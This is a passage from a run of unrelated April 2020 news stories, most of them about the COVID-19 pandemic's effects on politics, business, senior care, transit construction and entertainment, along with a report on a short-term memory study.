mortgages in Canada has mandated its employees to proactively check on their clients amid the ravages of the COVID-19 pandemic. In its current Operation Warm Hug initiative, HomeEquity Bank is aiming to help ease the publics feelings of isolation during this period of severely limited mobility. The past six weeks have really shown us what a central role our homes play in how we work, relax and live, said HomeEquity Bank President and CEO Steven Ranson. WASHINGTON Sen. Elizabeth Warren, D-Mass., and Rep. Alexandria Ocasio-Cortez, D-N.Y., are teaming up on a proposal to halt mergers and acquisitions for large companies during the coronavirus pandemic, elevating a progressive cause as Democrats and apparent nominee Joe Biden craft the party's platform ahead of the 2020 election. The Pandemic Anti-Monopoly Act would impose a moratorium on mergers and acquisitions involving large companies until the Federal Trade Commission determines that small businesses, workers, and consumers are no longer under severe financial distress, according to a summary of the proposal reviewed by NBC News. Affected firms would include businesses with over $100 million in revenue or financial firms with market capitalization of over $100 million; private equity companies and hedge funds (or entities that are majority-owned by them); businesses that have an exclusive patent on products like personal protective equipment which pertain to the crisis; and other transactions are already required by law to be reported to the FTC. The new push by the two progressive lawmakers reflects an appetite on the populist left to use regulatory powers to prevent the coronavirus downturn from accelerating monopolization in the United States. Advocates have been raising the alarm since before the crisis hit about a steady consolidation in airlines, hospitals and telecommunications among other industries arguing that it's harming consumers. Warren and Ocasio-Cortez are planning to announce the proposal Tuesday and introduce the bill after Congress returns to session. It will face long odds while business-friendly Republicans control the Senate and the White House, but it raises the stakes for the 2020 election and signals the sort of pressures Biden would face from progressives if he wins the presidency. The new plan comes after Rep. David Cicilline, D-R.I., the chairman of the House Judiciary antitrust subcommittee, called last week for a ban on most mergers during the COVID-19 pandemic. Story continues Warren and Ocasio-Cortez cited reports that private equity companies, big technology firms and Rite Aid are weighing purchases and acquisitions as the pandemic hammers the economy. Download the NBC News app for full coverage of the coronavirus outbreak Every day, were hearing stories of desperate small businesses struggling to survive during this crisis. Large companies and private equity vultures are circling for a chance to gobble up these small businesses and increase their already immense economic power, Warren told NBC News in a statement. We have to make sure we protect workers, small businesses, and entrepreneurs so they are not squeezed ever further by harmful mergers now or in any future emergency. The proposal would free anti-trust agencies of waiting periods and deadlines for the duration of the moratorium. It would require the FTC to set up new rules to establish a legal presumption against mergers and acquisitions if they could hinder the government's ability to combat a national emergency. Warren mounted an unsuccessful bid for the Democratic presidential nomination, but her ideas-focused campaign has shaped the intraparty debate and Bidens platform. Ocasio-Cortez, a first-term congresswoman who has gained a large following on the left, has been pushing her party to mount a more aggressive legislative response to the coronavirus. "This legislation is desperately needed," Ocasio-Cortez said. "If we dont stop predatory M&As now, the actions of big corporations will have decadeslong economic consequences for all of us. With less competition, the whole country will see job loss and higher costs for consumers. Photo: Getty Images After first being diagnosed with pneumonia, Broadway actor Nick Cordero has been hospitalized, battling severe complications from COVID-19, since March 31. This weekend, his former Waitress cast mates collaborated from home on a cover of an original 2018 song by Cordero entitled Live Your Life. Waitress songwriter and lyricist Sara Bareilles joined Jessie Mueller, Kimiko Glenn, Keala Seattle, Jenna Ushkowitz, and Eric Anderson, among others, for the video posted Sunday, which directs viewers to a GoFundMe to raise money for Corderos ongoing medical bills. According to the actors wife Amanda Kloots, who has been posting updates about his recovery on Instagram, Cordero received a temporary pacemaker last week due to an irregular heart beat. Earlier this month, he had his right leg amputated due to blood clotting, another complication from the novel coronavirus, and suffered a lung infection. As of today, the actor is reportedly still on a ventilator. In addition to playing Waitresss Earl in 2016, Cordero performed in Broadways A Bronx Tale and starred in the Off-Broadway production of The Toxic Avenger. In 2014, he was nominated for a Best Featured Actor Tony for his turn in Bullets Over Broadway. Cordero had moved to L.A. with his family earlier this year to star in Rock of Ages. HCM Citys Ben Thanh-Suoi Tien Metro Line 1 aims to start trial operations in June in order to meet the official start of services in 2021. On April 27, the fence surrounds the construction site was removed and trees were planted to celebrate Reunification Day on April 30. Lam Son Park will be restored as city authorities instructed agencies to give the cityscape from Le Loi Street to Ben Thanh Market a facelift. Planting flowers outside Ho Chi Minh City Opera House Ba Son Station and HCM City Opera House Station are two of the line's underground stations. They are 190 metres long, 26 metres wide with four floors. The first floor will be the waiting area, ticket machines and information stands. The second and fourth floor will be the train station, the third floor will store equipment for station staff, disaster control centre, and electrical equipment rooms as well as air conditioners and ventilation systems. The underground stations are being completed The ground clearance task was completed 127 days earlier and the first floor was completed 96 days ahead of schedule. The city urban railway management board and the contractor have worked hard to overcome difficulties during the outbreak. Bui Xuan Cuong, head of HCM City Urban Railway Management Board, said, "In the coming time, well work with the contractors to deal with problems in the contracts, disbursement and to improve the procedures in order to complete the line as soon as possible." Nearly 20 km of the line, from Ben Thanh Station in District 1 to Long Binh Depot in District 9, has been cleared. In June, the authorities will start the trial run. The trial run will be divided into several phases and sections. Metro Line 1 will have 17 trains, each train will have three passenger carriages. Ben Thanh Market Station The management board is speeding up to complete other packages like the signal system so the project will be 85% completed in 2020 and ready for operation in late 2021. The funding for the project has been secured after the city people's committee adjusted the total investment. The contractors were asked to monitor the situation and protect the employees' health amid the virus outbreak. Vo Van Hoan, chairman of HCM City People's Committee, said, "The metro line marks a major change and development of the city for the future. Both the authorities and the public hope that the project will be completed soon. We have plans to let the public visit the completed areas." Opera House metro stations first basement completed An escalator for passengers moving from the first basement to the second one at the Opera House metro station in downtown HCMC The first basement of the Opera House station of HCMCs first metro line project has essentially reached completion, stated the municipal Urban Railway Management Board on April 26. The management board and the projects construction unit completed the basements construction six days earlier than planned and 96 days earlier than initially expected. The first basement features modern facilities including a waiting lounge, ticket machines and automated fee collection gates. From this basement, passengers can easily move to the second and fourth basements, which will function as platforms where they can get board trains. The Metro Line No.1, which connects the landmark Ben Thanh Market in downtown HCMC and Suoi Tien Theme Park in District 9, is 72% complete and is expected to reach 85% completion by the end of this year. Also, the projects elevated sections have been connected and the roofing for its stations is over 90% complete. Besides this, the joining of two underground tracks under the CP1a and CP1b packages, to be completed in February, has enabled the connection of the 19.7-kilometer-long metro line. The next components of the project will be sped up in the coming months, including the installation of the railway and electrical systems as well as other equipment at the stations, aiming to meet 85% of the target for the projects workload by end-2020 and put it into operation in 2021. Earlier, the management board and construction unit on April 24 had removed a temporary barricade at a construction site stretching from Dong Khoi to Nguyen Hue streets, restoring the landscape of the downtown area. Dtinews/SGT HCM Citys first metro line trains under final technical check in Japan Trains for HCM Citys first metro line, which runs between Ben Thanh Market in District 1 and Suoi Tien Theme Park in District 9, are undergoing final technical inspection in Japan, according to the HCM City Management Authority for Urban Railways. COLUMBIA Some lawmakers want him to reopen hair salons. Others are interested in restoring outdoor restaurant seating. Some are asking for a more robust testing and contact tracing program. Meanwhile, advocacy groups request more focus and resources in minority communities. South Carolina Gov. Henry McMaster has been deluged with a wide array of opinions amid the COVID-19 pandemic about when and how he should allow various segments of the state to reopen, producing a cacophony of voices from around the state with no unified view of the best way to proceed. A trio of consecutive news conferences Monday outside the Statehouse underscored that noisy dynamic. First, four Republican House members from the Upstate delivered petitions to McMaster asking to reopen hair salons and barbershops that they said had been signed by almost 50,000 hairdressers and customers in the state. "I have confidence that people have the God-given ability and the minds to make better decisions than government can," said state Rep. Stewart Jones, R-Laurens. "This is ridiculous that these people have had their hands tied the way that they have." Georgia Gov. Brian Kemp moved last week to reopen hair salons, only to be chided soon after making his decision by President Donald Trump, who said he disagreed strongly with his fellow Republican and that he acted "too soon." But that didn't deter the group of S.C. lawmakers from arguing their state should follow in the Peach State's footsteps. "President Trump doesn't talk to my constituents every day," said state Rep. Josiah Magnuson, R-Campobello. "My constituents are saying let's reopen, so I represent them, not President Trump." After that group cleared, S.C. House Minority Leader Todd Rutherford stepped to the same podium to call on McMaster to let restaurants seat diners outdoors. More broadly, Rutherford suggested McMaster should rely on hospitalization data rather than positive test results when considering next steps. "If there is no light switch, if there is no magic bullet, there are going to have to be baby steps to reopen this economy, and they are going to have to come from the governor himself using metrics that are proper," said Rutherford, D-Columbia. Rutherford acknowledged that it would be difficult for the governor to sift through all of the many requests and opinions he gets from lawmakers every day. "But this is what the governor brought on himself," Rutherford said. "If he had clued lawmakers in on what he is looking for, then we could help." Finally, representatives from the South Carolina chapters of the National Action Network, NAACP and other groups pressed McMaster to address racial disparities in the disease's spread by dispatching more resources to areas that have been hardest hit. Jim Felder, president of the S.C. Voter Education Project, said the groups had sent a letter to McMaster 10 days ago asking him to use federal stimulus money to reopen closed hospitals in rural parts of the state, among other measures. "We have not heard from the governor yet," Felder said. "I know he's busy." The series of news conferences came days after a drive-by protest outside the Statehouse by residents who want McMaster to move faster on undoing restrictions put in place to minimize spread of the virus. McMaster extended his emergency order Monday by another 15 days, explaining that the state "must remain vigilant." But he can roll back restrictions at any time while the state is under the emergency declaration. He also convened a subcommittee of his massive "accelerateSC" task force which will be advising him over the next month. Monday marked the first meeting of the group examining challenges to state and local governments and schools. He told reporters afterwards that he has been receiving a steady stream of feedback in the form of letters, telephone calls and conversations, in addition to his regular teleconferences with state agencies, county representatives and the White House. "All of that is taken in and sorted out and part of our decision-making process," he said. More and more Ukrainian MPs representing the ruling party tend to support former Georgian president and ex-Odesa governor Mikheil Saakashvili as a candidate to take the post of deputy prime minister for reforms in Ukraine, First Deputy Chairman of the Servant of the People faction in the Ukrainian parliament Oleksandr Korniyenko said. "In all, I would say that there is an upward trend," Korniyenko said on Ukraina 24 television late on Monday evening. Support for Saakashvili may grow stronger if Ukrainian President Volodymyr Zelensky addresses MPs directly, asking them to back Saakashvili as a candidate, Korniyenko, who also leads the Servant of the People party, said. "Clearly, if Volodymyr Oleksandrovych [Zelensky] asks us directly, I think many people will make up their minds," he said. Korniyenko also pledged to personally support Saakashvili as a candidate for deputy prime minister. "I believe that Ukraine could use a strong politician with such contacts in the world like Mikheil Saakashvili," he said. Saakashvili said earlier in social media that he had an offer to become deputy prime minister in charge of reforms in Ukraine. "It is a great honor to me to receive President [Volodymyr] Zelensky's invitation to become deputy prime minister in the Ukrainian government for reforms. I have also had a very meaningful and useful conversation with Prime Minister [Denys] Shmyhal, during which we thoroughly discussed all issues related to my potential work in the government," Saakashvili said on Facebook on April 22. The 2020 Connecticut spring wild turkey hunting season runs begins Wednesday and continues through May 30. The state Department of Energy and Environmental Protection reminds all hunters and other outdoor enthusiasts to recreate responsibly while dealing with the challenges posed by the COVID-19 health crisis and to follow federal guidelines issued by the Centers for Disease Control and Prevention (CDC), in addition to guidelines detailed by CT DEEP. In addition to longer and warmer days, spring brings a special treat for many Connecticut hunters - turkey hunting, Michael Gregonis, Wild Turkey Program Biologist for the DEEP Wildlife Division, said. Our mixed hardwood forests and adjacent agricultural lands offer ideal habitat and plentiful forage, which in combination provide for quality turkey hunting. A healthy wild turkey population exists throughout Connecticuts woodlands. During the 2019 spring turkey season, hunters harvested 1,324 bearded turkeys. New wild turkey regulations have been adopted for the 2020 spring wild turkey season. Hunters may now harvest a total of five bearded birds, regardless of property type. Specific state and private land bag limits no longer apply. To see which state forests turkey hunting is allowed, click here. In addition, spring turkey hunting hours have changed from a noon closure to a sunset closure. Due to COVID-19 and the closure of state and town offices and many businesses, hunting licenses and Resident Game Bird Conservation Stamps should be purchased from the Online Sportsmen Licensing System (https://ct.aspirafocus.com/internetsales). (From right) Diane Nolan, Paul Felton, and Claudette Kuczmanski do some aerobic exercises in the courtyard at Meadowood, a senior living facility in Worcester. Because of social distancing, regular classes had to be canceled. Read more The coronavirus has been hard on Meadowood Senior Living, a Montgomery County retirement community. Five residents all of them in Meadowoods nursing home have contracted the virus. One has died. A staff member also got it. The invisible invader has changed life for everyone on the 137-acre campus in Worcester. COVID-19 is especially deadly for seniors, so Meadowoods 500 residents have not been able to see their family members in person since mid-March. Theyre strongly discouraged from shopping off campus. Dining rooms are closed, and food is delivered to their doors. Activities have been canceled and everyone staff and residents wears masks, a constant reminder that danger lurks. READ MORE: Coronavirus is most dangerous for seniors. How can they be protected? That all sounds dark, but Paul Nordeman, Meadowoods president and CEO, and two leaders of the communitys resident council said the coronavirus has also done something unexpected. Lorraine Lee, president of the resident council, said the sense of community is much greater than it was before the virus. Residents, she said, are grateful for the risks that staff members have taken to keep them safe and well-fed. A hundred residents have volunteered to take on low-risk jobs such as delivering mail and newspapers. Phones are a lifeline now as friends check on each other. Residents can still exercise together from their patios, and they play socially distant bingo in the halls. There are trivia games and in-house grocery shopping. Its brought the community alive in a very different way, Nordeman said. What Im seeing just inspires me so much. It put the fuel in my tank. Nordeman now lives at Meadowood on weekdays and some of his staff members are there all the time. He does frequent televised updates for residents and their families and says hes been completely open about cases and safety. Anything less than that kind of transparency, he said, leaves residents wondering and making up their own stories. People whove had a taste of a more secretive approach describe much different atmospheres. John Beaty, 74, who lives in a North Philadelphia nursing home, said he has heard through the grapevine that multiple people in his facility have tested positive for COVID-19. He watched as a special off-limits unit was created and asked repeatedly what was going on. There have been no official announcements, he said. I feel like Im on death row. A man who identified himself as the administrator of Beatys center would not comment. James Maloney, 72, went to a well-regarded nursing facility in Montgomery County in late March after knee surgery. He was alarmed that he sometimes had to demand that staffers wear masks in his room. Then safety procedures abruptly got more stringent, and he heard, unofficially, that two people had tested positive. He told his doctor he wanted to leave as soon as possible. Get me the hell out of here, he said. He has just finished a two-week quarantine back home in Manayunk. His rehab facility did not return a call for comment. Once inside a nursing home, where most people have roommates and require close, hands-on care from nurses and aides, COVID-19 can spread quickly. Like younger people, even the elderly can be infected without having any symptoms, or without the symptoms that initially got all the attention: fever, dry cough and difficulty breathing. Testing got off to a slow start and industry leaders say many facilities still cannot do all the needed testing. Some are still struggling to procure enough protective gear for staff. Some facilities entered the pandemic with bare-bones staffing and are now dealing with high absenteeism. The physical design of some buildings works against separating patients known to have the virus, those whove been exposed, and those who still seem healthy. Such factors make containment hard, and that shows in the statistics. In Pennsylvania, 60% of coronavirus cases that led to death originated in long-term care facilities, the state health department said. The percentage is 29% in New Jersey, but that doesnt include nearly 1,000 deaths in nursing homes and assisted-living facilities where COVID-19 was the suspected cause. Dee Pekruhn, director of life plan communities for Leading Age, which represents nonprofit senior housing providers, said communities for older adults will likely be among the last to relax restrictions because their residents are so vulnerable. She hasnt seen her mother, who lives in a community in the Oxford area, since March. I dont believe Ill be able to visit my mom again till June, she said. Older people move to places such as Meadowood because they make socializing easy and offer help and medical care as health declines. Most modern nursing homes also are designed to foster interaction. Now, the virus is forcing them to keep residents apart, while experts warn that isolation can further damage the already fragile health of some older people. Jennifer Olszewski, a geriatric psychiatric nurse who heads Drexel Universitys accelerated nursing program, works in three nursing homes in Montgomery County. One, which she wont identify, is having a fulminant outbreak. Last she heard, there were about 20 cases and 10 deaths there. The two others have one case or none. In most ways, life at the three centers is similar, with temperature checks before anyone can enter the building and universal masking requirements. Patients can no longer congregate at nurses stations, something that used to help some feel less alone. As much as possible, theyre confined to their rooms. That can be very difficult for people with dementia. The really great staff at the center with the outbreak is feeling overwhelmed, Olszewski said. At a recent webinar, she outlined a disaster response that would allow nursing homes to quickly group residents at different risk levels. You have a moment to figure it out once its there, she said. Thats all you get. In all the facilities, Olszewski has seen staffers who are worried about residents and residents who seem more worried about their friends, family and staff than themselves. Cognition and behavior have declined in some with dementia, who are anxious and alone. Others are increasingly irritated with roommates. People are eating less, and theyre missing appointments with their specialists. In multilevel retirement centers, some couples who need different types of care cant visit each other. Everywhere, residents are absorbing the gravity of what theyre facing. Im feeling this, one of her patients said heavily. That will that some of them have is falling aside, Olszewski said. As many of us chafe at sheltering in place, she said, we should keep in mind that isolated seniors are feeling what we feel times 100. We have our most vulnerable population that has lost contact with the outside world right now. Caroline Wroblewski, 76, who lives at Normandy Farms Estates in Blue Bell, had to stop volunteer hospice work in the communitys nursing home. My patient is very hard of hearing, so I cant use the phone, she said. She cant see so well, so theres no point in writing a note. I think she will have forgotten me by the time I get the opportunity to revisit her. She is getting so many texts from family members that she sometimes silences her phone. Shes working on a 1,000-piece jigsaw puzzle she brought in from the hall. She walks around the property for exercise. She helped make a banner to thank the culinary staff. Shes taking longer showers and foot baths. Wroblewski, a former nun who later ran a counseling service, is reading prayerful literature and novels. READ MORE: How do seniors live with loss? Shes also doing a lot of inner work as coronavirus has made death an even more salient presence than usual at Normandy Farms, where she said three residents and two staffers in the nursing home were sickened. I dont think I need to make peace anywhere, she said. Ive not left anything unresolved. Back at Meadowood, Lee and her vice president, Hugh Trumbull, 85, are having no trouble keeping themselves busy. Lee has been reading and watching TV. Her Unitarian fellowship meets on Zoom. She feels confident that she will get good care if she catches COVID-19, but sometimes has to stop herself from worrying. We do worry about people here who are frail, she said. I have a brother who has cancer, and I worry about him." Trumbull misses concerts, lectures and other activities he enjoyed pre-coronavirus. The resident council had 60 committees for activities that have now stopped. Hes now keeping very well-informed and is spending more time talking with people who are not as good as he is at entertaining themselves. Theres a lot of sense of neighbors looking out for neighbors, he said. Were all in this together, Lee added. If one of us falls down, the other ones have to pull them back up. A North Carolina woman active in a movement demanding that businesses in her state be allowed to reopen was reportedly in quarantine after testing positive for coronavirus. Audrey Whitlock, a moderator on the Facebook page "Reopen NC," missed the group's first two rallies in Raleigh, fellow organizer Ashley Smith told NBC affiliate WRAL. Whitlock tested positive three weeks ago, according to Smith. Image: People gather outside of the North Carolina Legislative Building to protest stay-at-home orders in Raleigh on April 28, 2020. (Gerry Broome / AP) "She never left her house during her quarantine, so she has not been at any rally or any of the functions that we've done," Smith said. Whitlock had acknowledged testing positive, but told Facebook followers that her quarantine had ended on Sunday and was expecting to be at an anti-lockdown rally on Tuesday. "I will take a stand every day until we are a free people again, to sound the alarm because someone has to do the right thing in the face of wrong," Whitlock wrote, according to WRAL. But Whitlock changed her mind and decided to remain indoors, according to Smith. Just In: ReOpenNC organizer Smith among 3 arrested after rally https://t.co/OhOtNMdf2U WRAL NEWS in NC (@WRAL) April 28, 2020 About 200 people protested in downtown Raleigh on Tuesday, calling for an end to Gov. Roy Cooper's month-old stay-at-home order. At least four people were arrested at Tuesday's protest, including Smith. Plus, Bill's Message of the Day, who are the most admired people in America? Learn more about your ad choices. Visit megaphone.fm/adchoices Spain's Santander posted an 82% year-on-year slump in quarterly net profit on Tuesday as it booked higher provisions for expected credit losses from the coronavirus outbreak. The euro zone's second-largest bank by market value reported a profit of 331 million euros ($358.11 million) for the first quarter ended in March. Overall loan-loss provisions rose 80% after the bank set aside 1.6 billion euros to offset the impact from COVID-19 based on the expected deterioration of the macroeconomic conditions arising from the health crisis. The respiratory disease caused by the new coronavirus has so far killed 23,521 people in Spain. "We will review our strategic targets once we have a more complete understanding of the full impact of the crisis," Santander Chairman Ana Botin said in a statement. Excluding extraordinary provisions, which included 46 million euros of restructuring costs in Europe, Santander's underlying quarterly profit rose 1% to 1.98 billion euros. That was slightly better than an average analyst estimate of 1.8 billion euros drawn from a Reuters poll. Banks worldwide have been taking measures to offset risk amid the crisis. U.S. lenders have set aside billions of dollars to cover potential loan defaults, while European players such as Credit Suisse and Deutsche Bank have been doing likewise. We learned it as children: to cross the street in exemplary fashion, we must first look to the left, then to the right, and finally once more to the left. If we see a car and a cyclist approaching when we first look to the left, this information is stored in our short-term memory. During the second glance to the left, our short-term memory reports: bicycle and car were there before, they are the same ones, they are still far enough away. We cross the street safely. This is, however, not at all true. Our short-term memory deceives us. When looking to the left the second time, our eyes see something completely different: the bicycle and the car do not have the same colour anymore because they are just now passing through the shadow of a tree, they are no longer in the same location, and the car is perhaps moving more slowly. The fact that we nonetheless immediately recognise the bicycle and the car is due to the fact that the memory of the first leftward look biases the second one. Scientists at Goethe University, led by psychologist Christoph Bledowski and doctoral student Cora Fischer reconstructed the traffic situation - very abstractly - in the laboratory: student participants were told to remember the motion direction of green or red dots moving across a monitor. During each trial, the test person saw two moving dot fields in short succession and had to subsequently report the motion direction of one of these dot fields. In additional tests, both dot fields were shown simultaneously next to each other. The test persons all completed numerous successive trials. The Frankfurt scientists were very interested in the mistakes made by the test persons and how these mistakes were systematically connected in successive trials. If for example the observed dots moved in the direction of 10 degrees and in the following trial in the direction of 20 degrees, most people reported 16 to 18 degrees for the second trial. However, if 0 degrees were correct for the following trial, they reported 2 to 4 degrees for the second trial. The direction of the previous trial therefore distorted the perception of the following one - "not very much, but systematically," says Christoph Bledowski. He and his team extended previous studies by investigating the influence of contextual information of the dot fields like colour, spatial position (right or left) and sequence (shown first or second). "In this way we more closely approximate real situations, in which we acquire different types of visual information from objects," Bledowski explains. This contextual information, especially space and sequence, contribute significantly to the distortion of successive perception in short-term memory. First author Cora Fischer says: "The contextual information helps us to differentiate among different objects and consequently to integrate information of the same object through time." What does this mean for our traffic situation? "Initially, it doesn't sound good if our short-term memory reflects something different from what we physically see," says Bledowski. "But if our short-term memory were unable to do this, we would see a completely new traffic situation when we looked to the left a second time. That would be quite confusing, because a different car and a different cyclist would have suddenly appeared out of nowhere. The slight 'blurring' of our perception by memory ultimately leads us to perceive our environment, whose appearance is constantly changing due to motion and light changes, as stable. In this process, the current perception of the car, for example, is only affected by the previous perception of the car, but not by the perception of the cyclist." ### Publication: Context information supports serial dependence of multiple visual objects across memory episodes. Cora Fischer, Stefan Czoschke, Benjamin Peters, Benjamin Rahm, Jochen Kaiser, Christoph Bledowski. Nat. Commun. 11, 1932 (2020). https://doi.org/10.1038/s41467-020-15874-w Further information: Goethe University Frankfurt Dr Christoph Bledowski Institute for Medical Psychology Tel.: +49 69-6301-4533 bledowski@em.uni-frankfurt.de http://imp-frankfurt.de/bledowski.html#welcome Current news about science, teaching, and society can be found on GOETHE-UNI online (http://www.aktuelles.uni-frankfurt.de) Goethe University is a research-oriented university in the European financial centre Frankfurt am Main. The university was founded in 1914 through private funding, primarily from Jewish sponsors, and has since produced pioneering achievements in the areas of social sciences, sociology and economics, medicine, quantum physics, brain research, and labour law. It gained a unique level of autonomy on 1 January 2008 by returning to its historic roots as a "foundation university". Today, it is one of the three largest universities in Germany. Together with the Technical University of Darmstadt and the University of Mainz, it is a partner in the inter-state strategic Rhine-Main University Alliance. Internet: http://www.uni-frankfurt.de Publisher: The President of Goethe University Editor: Dr. Markus Bernards, Science Editor, PR & Communication Department, Theodor-W.-Adorno-Platz 1, 60323 Frankfurt am Main, Tel: -49 (0) 69 798-12498, Fax: +49 (0) 69 798-763 12531, bernards@em.uni-frankfurt.de. By PTI AURANGABAD: The Hazur Sahib Gurudwara in Maharashtra's Nanded district is on alert after some pilgrims who went back from there to Punjab tested positive for coronavirus, a gurudwara official said on Tuesday. The shrine administration is sanitising the premises at regular intervals and following the social distancing guidelines, he said. Eight of the Sikh pilgrims who recently returned from Nanded to Punjab tested positive for coronavirus on Monday. Five of the pilgrims belonged to Tarn Taran while three hailed from Kapurthala in Punjab. FOLLOW COVID-19 LIVE UPDATES HERE "We are taking all care. Spraying of disinfectants and sanitisation of every corner of the premises is being done at regular intervals. Social distancing is being maintained. We also have our own quarantine facility here," the gurudwara superintendent Gurvinder Singh Wadhwa told PTI. Any staff member who goes out of the city is quarantined at the facility available here. After completion of the quarantine period, the person is asked go to the civil hospital and get a check-up done before resuming duty, he said. Three persons are already quarantined at the facility, he added. Nearly 4,000 pilgrims from Punjab, who came to pay obeisance at the Gurdwara Hazur Sahib in Nanded, got stuck because of the coronavirus lockdown. Now, they are being sent to Punjab after the intervention of the Union Home Ministry. In a positive change during the COVID-19 pandemic, the heart attack incident rates got reduced by 30 to 70 per cent in several countries across the globe, said Dr Samin K Sharma, Senior VP, Operations & Quality, Mount Sinai Heart, New York. According to Dr Sharma, a lot of patients suffering from heart ailments in the US are avoiding hospitals fearing coronavirus infections. The number of heart attack patients have reduced in countries like the United States of America, India, Italy, China, Spain and several other countries which Dr Sharma claimed is a "blessing in disguise". "Suppose there used to be 10 serious patients of heart disease daily in the ICU, but now it is down to 3 or 4. The studies in our journals also reveal that this is a widespread phenomenon," stated Dr Sharma. He informed that the reduction in heart-related disease is due to the improvement in the mental and physical health of common people during the lockdown period. Some heart patients are also jittery about visiting hospitals fearing infections, Dr Sharma stated as one of the reasons behind a fall in the numbers but added that this is only 10 per cent of the cases. Pointing out the difference between urban and rural lifestyle, he stated that reduction in air pollution is also one of the causes behind the fall in the number of heart attacks. "Villages have less pollution compared to cities and comparatively they have less number of heart patients. Air pollution has come down suddenly and is contributing to the fall in the number of heart patients. According to me, almost 40-50 per cent of the fall is due to this reason. Other factors take time to manifest but this is the major factor," Dr Sharma said. The third factor which is acting as a boon for human health during the COVID-19 situation is the reduction of office-related work stress due to working from home. "We say heart disease is an urban phenomenon. People are now relaxed due to lockdown as they at home, working from home. People are practising daily exercise, meditation and prayer which has resulted in the improvement of heart-related problems." Eating healthy homemade food is the fourth major factor that has had led to an improvement in health across countries. People are now not going out to eat, or drinking alcohol or going to pubs, he added. The governments across the world will now have to ensure better transport facilities, work towards lesser pollution and an overall improvement in health-related issues. "Under Prime Minister Narendra Modi's direction and leadership, India has seen a successful lockdown. People have accepted all the directions without any fuss," he added. According to Dr Sharma, India is being seen as a role model by other countries for the successful lockdown implementation. The COVID-19 pandemic has infected more than 30 lakh people across the world. The fatal virus has also taken over 2.10 lakh lives until Tuesday (April 28, 2020) morning. As per the Johns Hopkins University data at 7 am IST the virus that was first reported in December 2019 in China, has infected approximately 30,37,605 people globally and has claimed around 2,10,842 lives. The United States (US) continued to be the worst COVID-19 hit country in the world. The US is most probably to touch the 1 million mark of COVID-19 confirmed cases by this weekend. In the US, around 9,87,467 people have been tested COVID-19 positive. Google parent company Alphabet just announced its financial results for the first quarter of 2020, and not surprisingly the global COVID-19 pandemic had an effect. Alphabet and Google CEO Sundar Pichai called it a tale of two quarters on the earnings call with investors and noted that ad performance took a major hit in March after two very strong months. Pichai also noted some parts of its business that were booming amidst the pandemic. Specifically, search usage has been booming; he said that at its peak, coronavirus-related search activity was four times the peak of Super Bowl search activity. YouTube watch time is also up in a big way, but he didnt give a specific number; that said, he called out livestreams specifically as a growth area. Android users are also hitting their phones hard. Pichai said that people are spending significantly more time in apps, and Google Play Store app downloads in March were 30 percent higher than February. Overall, Google has over 2.5 billion monthly active Google Play devices. But, the company saw a decline in device activations this quarter due to global consumer demand dropping. One place where Google saw device interest soar was in the Chromebook segment; Pichai said that analysts saw a 400 percent increase in Chromebook demand the week of March 21st compared to the prior year. Similarly, Google said that 100 million students and educations used its Classroom education tools, double what it saw at the beginning of March. As for how this all affected Googles bottom line, the company still increased revenue 13 percent year-over-year to $41.2 billion, largely on the ongoing strength of its Search, YouTube and Cloud businesses. As for what happens next quarter, Googles CFO Ruth Porat said it was going to be a difficult quarter for the advertising business, which remains the companys biggest revenue driver by a big margin. Of course, itll likely depend on how the pandemic plays out over the next few months. Ariana Grande wowed with her vocals yet again on Monday, with a refreshing and unorthodox choice of song that wasn't from her repertoire. The Side To Side songstress, 26, appeared on the Virtual SubCulture Residency Concert Series, a longstanding collaboration with Tony Award-winning composer and lyricist Jason Robert Brown. As one of the special featured guests for the evening, Grande performed the heartbreaking opening number from Brown's beloved 2001 Off-Broadway musical The Last Five Years, Still Hurting. Theater moment: Ariana Grande wowed with her vocals yet again on Monday, appearing on the Virtual SubCulture Residency Concert Series For the remote concert, Grande appeared at what looked to be the microphone of a professional recording studio, dressed in black, while Brown played at his piano elsewhere along with other members of the orchestra. SubCulture, described on its site as 'an intimate theater and gathering place in one room' in New York City, has had a long running Artist-in-Residence series, which has now been relegated to a remote at-home version in light of the coronavirus pandemic. Monday night's concert marked SubCulture's 58th residency concert with Brown, and was presented as part of a benefit for the SubCulture staff and the musicians from the Jason Robert Brown Artist-In-Residence concerts during the current health crisis. Passionate performance: The SubCulture Residency Concert Series is a longstanding collaboration with Tony Award-winning composer and lyricist Jason Robert Brown (left) Takes a village: As one of the special featured guests for the evening, Grande performed the opening number from Brown's 2001 Off-Broadway musical The Last Five Years, Still Hurting The Last Five Years was a wildly successful musical that premiered in Chicago in 2001, quickly transitioning to Off-Broadway in March 2002. It tells the tale of a doomed relationship between a struggling actress and a novelist, who almost never actually meet throughout the show the female lead tells her story backwards, from the moment their marriage ends to when they first meet, while her partner tells his side of the story in a forward chronological order. Monday night's show was the first SubCulture Residency appearance for Grande, who is nonetheless quite connected to theater and Brown in particular: she made her Broadway debut in his 2008 musical 13. Monday night's show was the first SubCulture Residency appearance for Grande, who is nonetheless quite connected to theater and Brown in particular: she made her Broadway debut in his 2008 musical 13 It was quite clear on Monday that Ariana still has a knack for dramatic interpretations when it comes to musicality and singing, as her performance is moving even though it took place in a recording booth as opposed to on stage or in a theater. The special concert, which also featured longtime Brown collaborator Shoshana Bean, was free to watch but encouraged viewers to donate in order to assist the SubCulture staff and musicians during this unprecedented time. The Last Five Years was also turned into a 2014 musical film, starring Anna Kendrick and Jeremy Jordan. Hoping to put the fear of not just god but the god of death in people so they don't step out of their homes, a government employee donned the garb of corona ambassador Yamraj to help Delhi Police spread the message that everybody has to be strictly indoors to ward off COVID-19. Baldev Singh, who works in the Finance Ministry, arranged the costume from a friend who participates in Ramlilas, got his wife to help in the makeup and even put on glares for a modern touch. The look complete, he got on to a police Gypsy near his home in the government colony of R K Puram on Monday and, armed with a loudspeaker, began to broadcast the importance of staying at home. "The station house officer of R K Puram gave this idea of giving a message via Yamraj. I then asked my friend who participates in Ramlilas to arrange for the dress. My wife and my friend did all the makeup work. To make it a modern Yamraj, I also put on goggles, Singh said. "We took a round of the area on Monday, the 42-year-old said. Yamraj on a Gypsy and making announcements on a loudspeaker grabbed eyeballs and a lot of attention. "I have sent my ambassador corona. If you don''t listen to Delhi Police, he will take you with him. Only Delhi Police stands between you and me. Delhiites, I warn you if you love your life, then please stay inside your houses," Singh intoned in Hindi over the loudspeaker as he was driven through the lanes of the sprawling government colony. Singh, also the president of the Central Government Residents Welfare Association, Sector-1, R K Puram, said the group has been urging people to follow rules since the lockdown started. Rajesh Sharma, station house officer of R K Puram, said the idea was to educate people in a more innovative way. "It was my idea to interact with the public in a different and more interesting way so we can successfully send our message. We just want to educate people regarding the coronavirus as punishing them is 